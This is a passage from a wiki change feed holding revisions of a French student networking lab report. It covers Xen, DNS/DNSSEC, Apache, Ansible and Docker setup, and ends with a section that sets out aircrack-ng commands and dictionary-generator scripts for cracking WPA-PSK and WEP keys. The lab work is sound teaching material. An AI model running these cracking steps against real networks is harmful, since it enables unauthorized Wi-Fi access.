  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On le lance:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51778</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51778"/>
				<updated>2019-12-10T09:23:58Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On le lance:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
